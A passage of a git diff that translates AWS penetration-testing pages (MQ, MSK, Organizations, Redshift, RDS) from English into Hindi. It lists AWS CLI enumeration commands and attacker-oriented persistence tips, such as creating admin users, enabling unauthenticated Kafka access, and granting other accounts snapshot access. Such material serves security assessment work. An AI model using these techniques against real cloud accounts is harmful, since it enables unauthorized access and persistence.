कतार-प्रबंधक सॉफ़्टवेयर द्वारा रखा जाता है। AWS RabbitMQ सर्वरों को होस्ट और प्रबंधित करने के लिए एक उपयोग में आसान समाधान प्रदान करता है। ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ® एक प्रमुख ओपन-सोर्स, Java-आधारित **message broker** है जो अपनी बहुपरकारीता के लिए जाना जाता है। यह कई उद्योग-मानक प्रोटोकॉल का समर्थन करता है, जो विभिन्न भाषाओं और प्लेटफार्मों में व्यापक ग्राहक संगतता प्रदान करता है। उपयोगकर्ता कर सकते हैं: -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- JavaScript, C, C++, Python, .Net, और अधिक में लिखे गए ग्राहकों के साथ कनेक्ट करें। +- विभिन्न प्लेटफार्मों से अनुप्रयोगों को एकीकृत करने के लिए **AMQP** प्रोटोकॉल का लाभ उठाएँ। +- वेब अनुप्रयोग संदेश विनिमय के लिए वेब सॉकेट्स पर **STOMP** का उपयोग करें। +- **MQTT** के साथ IoT उपकरणों का प्रबंधन करें। +- मौजूदा **JMS** अवसंरचना को बनाए रखें और इसकी क्षमताओं का विस्तार करें। -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. +ActiveMQ की मजबूती और लचीलापन इसे कई प्रकार की संदेश आवश्यकताओं के लिए उपयुक्त बनाते हैं। ## Enumeration - ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: यह बताएं कि RabbitMQ और ActiveMQ को आंतरिक रूप से कैसे सूचीबद्ध करें और सभी कतारों में सुनने और डेटा भेजने का तरीका (यदि आप जानते हैं कि इसे कैसे करना है तो PR भेजें) ## Privesc @@ -66,7 +64,7 @@ aws mq create-user --broker-id --password --username --c ## Persistence -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +यदि आप RabbitMQ वेब कंसोल तक पहुँचने के लिए क्रेडेंशियल्स जानते हैं, तो आप प्रशासनिक विशेषाधिकारों के साथ एक नया उपयोगकर्ता बना सकते हैं। ## References @@ -74,7 +72,3 @@ If you know the credentials to access the RabbitMQ web console, you can create a - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..ce4e12014 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** एक सेवा है जो पूरी तरह से प्रबंधित है, जो **Apache Kafka** के माध्यम से स्ट्रीमिंग डेटा को संसाधित करने वाले अनुप्रयोगों के विकास और निष्पादन को सुविधाजनक बनाती है। नियंत्रण-स्तर संचालन, जिसमें **क्लस्टर** का निर्माण, अद्यतन और हटाना शामिल है, Amazon MSK द्वारा प्रदान किए जाते हैं। यह सेवा Apache Kafka **डेटा-स्तर संचालन** के उपयोग की अनुमति देती है, जिसमें डेटा उत्पादन और उपभोग शामिल हैं। यह **Apache Kafka** के ओपन-सोर्स संस्करणों पर काम करती है, जो मौजूदा अनुप्रयोगों, उपकरणों और साझेदारों और **Apache Kafka समुदाय** से प्लगइन्स के साथ संगतता सुनिश्चित करती है, जिससे अनुप्रयोग कोड में परिवर्तनों की आवश्यकता समाप्त हो जाती है। -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +विश्वसनीयता के मामले में, Amazon MSK को **सामान्य क्लस्टर विफलता परिदृश्यों** का स्वचालित रूप से पता लगाने और पुनर्प्राप्त करने के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि उत्पादक और उपभोक्ता अनुप्रयोग अपने डेटा लेखन और पढ़ने की गतिविधियों में न्यूनतम व्यवधान के साथ बने रहें। इसके अलावा, यह डेटा पुनरुत्पादन प्रक्रियाओं को अनुकूलित करने का प्रयास करता है, **बदले गए ब्रोकरों के भंडारण** का पुन: उपयोग करने का प्रयास करके, इस प्रकार Apache Kafka द्वारा पुनरुत्पादित किए जाने वाले डेटा की मात्रा को कम करता है। ### **Types** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +AWS द्वारा बनाने के लिए 2 प्रकार के Kafka क्लस्टर हैं: प्रावधानित और सर्वरलेस। -From the point of view of an attacker you need to know that: +एक हमलावर के दृष्टिकोण से आपको यह जानना आवश्यक है कि: -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled +- **सर्वरलेस सीधे सार्वजनिक नहीं हो सकता** (यह केवल एक VPN में चल सकता है जिसमें कोई सार्वजनिक रूप से उजागर IP नहीं है)। हालाँकि, **प्रावधानित** को **सार्वजनिक IP** प्राप्त करने के लिए कॉन्फ़िगर किया जा सकता है (डिफ़ॉल्ट रूप से यह नहीं होता) और **सुरक्षा समूह** को प्रासंगिक पोर्ट को **उजागर** करने के लिए कॉन्फ़िगर किया जा सकता है। +- **सर्वरलेस** **केवल IAM** को प्रमाणीकरण विधि के रूप में समर्थन करता है। **प्रावधानित** SASL/SCRAM (**पासवर्ड**) प्रमाणीकरण, **IAM** प्रमाणीकरण, AWS **प्रमाणपत्र** प्रबंधक (ACM) प्रमाणीकरण और **अप्रमाणित** पहुंच का समर्थन करता है। +- ध्यान दें कि यदि अप्रमाणित पहुंच सक्षम है तो प्रावधानित Kafka को सार्वजनिक रूप से उजागर करना संभव नहीं है। ### Enumeration - ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Kafka IAM एक्सेस (सर्वरलेस में) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,7 +72,6 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} @@ -90,14 +86,10 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +यदि आप उस **VPC** तक **पहुँच** रखने जा रहे हैं जहाँ एक Provisioned Kafka है, तो आप **अनधिकृत पहुँच** **सक्षम** कर सकते हैं, यदि **SASL/SCRAM प्रमाणीकरण**, **गुप्त से** पासवर्ड **पढ़ें**, कुछ **अन्य नियंत्रित उपयोगकर्ता IAM अनुमतियाँ** दें (यदि IAM या सर्वरलेस का उपयोग किया गया हो) या **प्रमाणपत्रों** के साथ **स्थायी** रहें। ## References - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..167093452 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## बुनियादी जानकारी -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizations नए AWS खातों के निर्माण को बिना अतिरिक्त लागत के सक्षम बनाता है। संसाधनों को आसानी से आवंटित किया जा सकता है, खातों को प्रभावी ढंग से समूहित किया जा सकता है, और व्यक्तिगत खातों या समूहों पर शासन नीतियों को लागू किया जा सकता है, जिससे संगठन के भीतर प्रबंधन और नियंत्रण में सुधार होता है। -Key Points: +मुख्य बिंदु: -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **नया खाता निर्माण**: AWS Organizations नए AWS खातों के निर्माण की अनुमति देता है बिना अतिरिक्त शुल्क के। +- **संसाधन आवंटन**: यह खातों के बीच संसाधनों को आवंटित करने की प्रक्रिया को सरल बनाता है। +- **खाता समूह बनाना**: खातों को एक साथ समूहित किया जा सकता है, जिससे प्रबंधन अधिक सुव्यवस्थित हो जाता है। +- **शासन नीतियाँ**: नीतियाँ खातों या खातों के समूहों पर लागू की जा सकती हैं, जिससे संगठन में अनुपालन और शासन सुनिश्चित होता है। -You can find more information in: +आप अधिक जानकारी यहाँ पा सकते हैं: {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## संदर्भ - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..2889e67ff 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,28 +1,20 @@ -# AWS - Other Services Enum +# AWS - अन्य सेवाएँ ENUM {{#include ../../../banners/hacktricks-training.md}} ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +**एक कॉर्पोरेट निजी नेटवर्क को AWS से कनेक्ट करने की अनुमति देता है** (ताकि आप एक EC2 इंस्टेंस से समझौता कर सकें और कॉर्पोरेट नेटवर्क तक पहुँच सकें)। ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` - ## Support -In AWS you can access current and previous support cases via the API - +AWS में आप API के माध्यम से वर्तमान और पिछले समर्थन मामलों तक पहुँच सकते हैं। ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..08befaa19 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,45 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshift एक पूरी तरह से प्रबंधित सेवा है जो आकार में एक पेटाबाइट से अधिक तक स्केल कर सकती है, जिसका उपयोग **बिग डेटा समाधानों के लिए डेटा वेयरहाउस के रूप में** किया जाता है। Redshift क्लस्टरों का उपयोग करके, आप अपने डेटा सेट के खिलाफ तेज, SQL-आधारित क्वेरी उपकरणों और व्यावसायिक बुद्धिमत्ता अनुप्रयोगों का उपयोग करके विश्लेषण चला सकते हैं ताकि अपने व्यवसाय के लिए दृष्टि की बेहतर समझ प्राप्त कर सकें। -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshift चार-स्तरीय एन्क्रिप्शन कुंजी की हायरार्की का उपयोग करके विश्राम में एन्क्रिप्शन की पेशकश करता है, जिसका प्रबंधन KMS या CloudHSM द्वारा शीर्ष स्तर की कुंजी के लिए किया जाता है**। **जब आपके क्लस्टर के लिए एन्क्रिप्शन सक्षम होता है, तो इसे अक्षम नहीं किया जा सकता और इसके विपरीत**। जब आपके पास एक अनएन्क्रिप्टेड क्लस्टर होता है, तो इसे एन्क्रिप्ट नहीं किया जा सकता। -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +आपके क्लस्टर के लिए एन्क्रिप्शन केवल इसके निर्माण के दौरान हो सकता है, और एक बार एन्क्रिप्ट होने के बाद, डेटा, मेटाडेटा, और कोई भी स्नैपशॉट भी एन्क्रिप्टेड होते हैं। एन्क्रिप्शन कुंजी के स्तर इस प्रकार हैं, **स्तर एक मास्टर कुंजी है, स्तर दो क्लस्टर एन्क्रिप्शन कुंजी, CEK, स्तर तीन, डेटाबेस एन्क्रिप्शन कुंजी, DEK, और अंततः स्तर चार, डेटा एन्क्रिप्शन कुंजी स्वयं**। ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +अपने क्लस्टर के निर्माण के दौरान, आप या तो Redshift के लिए **डिफ़ॉल्ट KMS कुंजी** का चयन कर सकते हैं या अपनी **स्वयं की CMK** का चयन कर सकते हैं, जो आपको कुंजी के नियंत्रण पर अधिक लचीलापन देता है, विशेष रूप से एक ऑडिटेबल दृष्टिकोण से। -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +Redshift के लिए डिफ़ॉल्ट KMS कुंजी तब स्वचालित रूप से बनाई जाती है जब पहली बार कुंजी विकल्प का चयन और उपयोग किया जाता है, और इसे AWS द्वारा पूरी तरह से प्रबंधित किया जाता है। -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +यह KMS कुंजी फिर CMK मास्टर कुंजी, स्तर एक के साथ एन्क्रिप्ट की जाती है। यह एन्क्रिप्टेड KMS डेटा कुंजी फिर क्लस्टर एन्क्रिप्शन कुंजी, CEK, स्तर दो के रूप में उपयोग की जाती है। यह CEK फिर KMS द्वारा Redshift को भेजी जाती है जहां इसे क्लस्टर से अलग रखा जाता है। Redshift फिर इस एन्क्रिप्टेड CEK को एक सुरक्षित चैनल के माध्यम से क्लस्टर को भेजता है जहां इसे मेमोरी में संग्रहीत किया जाता है। -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +Redshift फिर KMS से CEK, स्तर दो को डिक्रिप्ट करने का अनुरोध करता है। यह डिक्रिप्टेड CEK फिर भी मेमोरी में संग्रहीत किया जाता है। Redshift फिर एक यादृच्छिक डेटाबेस एन्क्रिप्शन कुंजी, DEK, स्तर तीन बनाता है, और उसे क्लस्टर की मेमोरी में लोड करता है। मेमोरी में डिक्रिप्टेड CEK फिर DEK को एन्क्रिप्ट करता है, जिसे भी मेमोरी में संग्रहीत किया जाता है। -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +यह एन्क्रिप्टेड DEK फिर एक सुरक्षित चैनल के माध्यम से भेजा जाता है और Redshift में क्लस्टर से अलग संग्रहीत किया जाता है। CEK और DEK अब क्लस्टर की मेमोरी में एन्क्रिप्टेड और डिक्रिप्टेड दोनों रूपों में संग्रहीत हैं। डिक्रिप्टेड DEK फिर डेटा कुंजी, स्तर चार, को एन्क्रिप्ट करने के लिए उपयोग किया जाता है, जो Redshift द्वारा डेटाबेस में प्रत्येक डेटा ब्लॉक के लिए यादृच्छिक रूप से उत्पन्न की जाती हैं। -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +आप AWS Trusted Advisor का उपयोग अपने Amazon S3 बकेट की कॉन्फ़िगरेशन की निगरानी करने और यह सुनिश्चित करने के लिए कर सकते हैं कि बकेट लॉगिंग सक्षम है, जो सुरक्षा ऑडिट करने और S3 में उपयोग पैटर्न को ट्रैक करने के लिए उपयोगी हो सकता है। ### CloudHSM
-Using Redshift with CloudHSM +CloudHSM के साथ Redshift का उपयोग करना -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +CloudHSM के साथ एन्क्रिप्शन करने के लिए काम करते समय, सबसे पहले आपको अपने HSM क्लाइंट और Redshift के बीच एक विश्वसनीय कनेक्शन सेट करना होगा जबकि क्लाइंट और सर्वर प्रमाणपत्रों का उपयोग कर रहे हैं। -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +यह कनेक्शन सुरक्षित संचार प्रदान करने के लिए आवश्यक है, जिससे एन्क्रिप्शन कुंजियों को आपके HSM क्लाइंट और आपके Redshift क्लस्टरों के बीच भेजा जा सके। एक यादृच्छिक रूप से उत्पन्न निजी और सार्वजनिक कुंजी जोड़ी का उपयोग करते हुए, Redshift एक सार्वजनिक क्लाइंट प्रमाणपत्र बनाता है, जिसे एन्क्रिप्ट किया जाता है और Redshift द्वारा संग्रहीत किया जाता है। इसे डाउनलोड और आपके HSM क्लाइंट में पंजीकृत किया जाना चाहिए, और सही HSM विभाजन को सौंपा जाना चाहिए। -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +आपको फिर Redshift को अपने HSM क्लाइंट के निम्नलिखित विवरणों के साथ कॉन्फ़िगर करना होगा: HSM IP पता, HSM विभाजन नाम, HSM विभाजन पासवर्ड, और सार्वजनिक HSM सर्वर प्रमाणपत्र, जिसे CloudHSM द्वारा एक आंतरिक मास्टर कुंजी का उपयोग करके एन्क्रिप्ट किया गया है। एक बार जब यह जानकारी प्रदान की जाती है, तो Redshift पुष्टि करेगा और सत्यापित करेगा कि यह विकास विभाजन से कनेक्ट और एक्सेस कर सकता है। -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. +यदि आपकी आंतरिक सुरक्षा नीतियाँ या शासन नियंत्रण यह निर्धारित करते हैं कि आपको कुंजी रोटेशन लागू करना चाहिए, तो यह Redshift के साथ संभव है जो आपको एन्क्रिप्टेड क्लस्टरों के लिए एन्क्रिप्शन कुंजियों को घुमाने की अनुमति देता है, हालाँकि, आपको यह जानना आवश्यक है कि कुंजी रोटेशन प्रक्रिया के दौरान, यह एक बहुत छोटे समय के लिए क्लस्टर को अनुपलब्ध बना देगा, इसलिए यह सबसे अच्छा है कि आप केवल तभी कुंजी घुमाएँ जब आपको इसकी आवश्यकता हो, या यदि आपको लगता है कि वे समझौता किए जा सकते हैं। -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +रोटेशन के दौरान, Redshift आपके क्लस्टर के लिए CEK को घुमाएगा और उस क्लस्टर के किसी भी बैकअप के लिए। यह क्लस्टर के लिए DEK को घुमाएगा लेकिन यह संभव नहीं है कि DEK को S3 में संग्रहीत स्नैपशॉट के लिए घुमाया जाए जो DEK का उपयोग करके एन्क्रिप्ट किए गए हैं। यह प्रक्रिया पूरी होने तक क्लस्टर को 'कुंजी घुमा रहा है' की स्थिति में रखेगा जब स्थिति 'उपलब्ध' पर लौटेगी।
### Enumeration - ```bash # Get clusters aws redshift describe-clusters @@ -82,7 +81,6 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} @@ -91,13 +89,9 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Persistence -The following actions allow to grant access to other AWS accounts to the cluster: +निम्नलिखित क्रियाएँ अन्य AWS खातों को क्लस्टर तक पहुँच प्रदान करने की अनुमति देती हैं: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..e62331db5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,74 +4,73 @@ ## Basic Information -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +AWS द्वारा प्रदान की गई **रिलेशनल डेटाबेस सेवा (RDS)** को **क्लाउड में रिलेशनल डेटाबेस** की तैनाती, संचालन और स्केलिंग को सरल बनाने के लिए डिज़ाइन किया गया है। यह सेवा लागत दक्षता और स्केलेबिलिटी के लाभ प्रदान करती है जबकि हार्डवेयर प्रावधान, डेटाबेस कॉन्फ़िगरेशन, पैचिंग और बैकअप जैसे श्रम-गहन कार्यों को स्वचालित करती है। -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDS विभिन्न व्यापक रूप से उपयोग किए जाने वाले रिलेशनल डेटाबेस इंजनों का समर्थन करता है, जिसमें MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, और Amazon Aurora शामिल हैं, जो MySQL और PostgreSQL दोनों के लिए संगतता प्रदान करते हैं। -Key features of RDS include: +RDS की प्रमुख विशेषताएँ शामिल हैं: -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **डेटाबेस इंस्टेंस का प्रबंधन** सरल है। +- पढ़ने के प्रदर्शन को बढ़ाने के लिए **रीड रेप्लिका** का निर्माण। +- उच्च उपलब्धता और फेलओवर तंत्र सुनिश्चित करने के लिए **मल्टी-एवेलबिलिटी ज़ोन (AZ) तैनाती** का कॉन्फ़िगरेशन। +- अन्य AWS सेवाओं के साथ **एकीकरण**, जैसे: +- मजबूत एक्सेस नियंत्रण के लिए AWS पहचान और एक्सेस प्रबंधन (**IAM**)। +- व्यापक निगरानी और मैट्रिक्स के लिए AWS **CloudWatch**। +- आराम में एन्क्रिप्शन सुनिश्चित करने के लिए AWS की प्रबंधन सेवा (**KMS**)। ## Credentials -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +DB क्लस्टर बनाते समय मास्टर **यूज़रनेम** को कॉन्फ़िगर किया जा सकता है (**`admin`** डिफ़ॉल्ट रूप से)। इस उपयोगकर्ता का पासवर्ड उत्पन्न करने के लिए आप: -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **स्वयं एक पासवर्ड** निर्दिष्ट करें +- RDS को **स्वतः उत्पन्न** करने के लिए कहें +- RDS को **AWS सीक्रेट मैनेजर** में KMS कुंजी के साथ एन्क्रिप्टेड रूप में प्रबंधित करने के लिए कहें
### Authentication -There are 3 types of authentication options, but using the **master password is always allowed**: +प्रमाणीकरण विकल्पों के 3 प्रकार हैं, लेकिन **मास्टर पासवर्ड का उपयोग हमेशा अनुमति है**:
### Public Access & VPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +डिफ़ॉल्ट रूप से **कोई सार्वजनिक एक्सेस** डेटाबेस को नहीं दिया जाता है, हालाँकि इसे **दिया जा सकता है**। इसलिए, डिफ़ॉल्ट रूप से केवल उसी VPC की मशीनें इसे एक्सेस कर सकेंगी यदि चयनित **सुरक्षा समूह** (जो EC2 SG में संग्रहीत हैं) इसे अनुमति देता है। -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +DB इंस्टेंस को उजागर करने के बजाय, एक **RDS प्रॉक्सी** बनाना संभव है जो DB क्लस्टर की **स्केलेबिलिटी** और **उपलब्धता** को **सुधारता** है। -Moreover, the **database port can be modified** also. +इसके अलावा, **डेटाबेस पोर्ट को भी संशोधित किया जा सकता है**। ### Encryption -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम है** एक AWS प्रबंधित कुंजी का उपयोग करके (इसके बजाय एक CMK चुना जा सकता है)। -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +आपकी एन्क्रिप्शन को सक्षम करने से, आप अपने स्टोरेज, स्नैपशॉट, रीड रेप्लिका और आपके बैकअप के लिए **आराम में एन्क्रिप्शन** सक्षम कर रहे हैं। इस एन्क्रिप्शन को प्रबंधित करने के लिए कुंजी **KMS** का उपयोग करके जारी की जा सकती हैं।\ +आपके डेटाबेस के निर्माण के बाद इस स्तर की एन्क्रिप्शन को जोड़ना संभव नहीं है। **यह इसके निर्माण के दौरान किया जाना चाहिए**। -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +हालांकि, एक **वर्कअराउंड है जो आपको निम्नलिखित तरीके से एक अनएन्क्रिप्टेड डेटाबेस को एन्क्रिप्ट करने की अनुमति देता है**। आप अपने अनएन्क्रिप्टेड डेटाबेस का एक स्नैपशॉट बना सकते हैं, उस स्नैपशॉट की एक एन्क्रिप्टेड कॉपी बना सकते हैं, उस एन्क्रिप्टेड स्नैपशॉट का उपयोग करके एक नया डेटाबेस बना सकते हैं, और फिर, अंततः, आपका डेटाबेस एन्क्रिप्टेड हो जाएगा। #### Transparent Data Encryption (TDE) -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +RDS में एप्लिकेशन स्तर पर अंतर्निहित एन्क्रिप्शन क्षमताओं के साथ-साथ, RDS **आराम में डेटा की सुरक्षा के लिए अतिरिक्त प्लेटफ़ॉर्म-स्तरीय एन्क्रिप्शन तंत्र** का समर्थन करता है। इसमें Oracle और SQL Server के लिए **ट्रांसपेरेंट 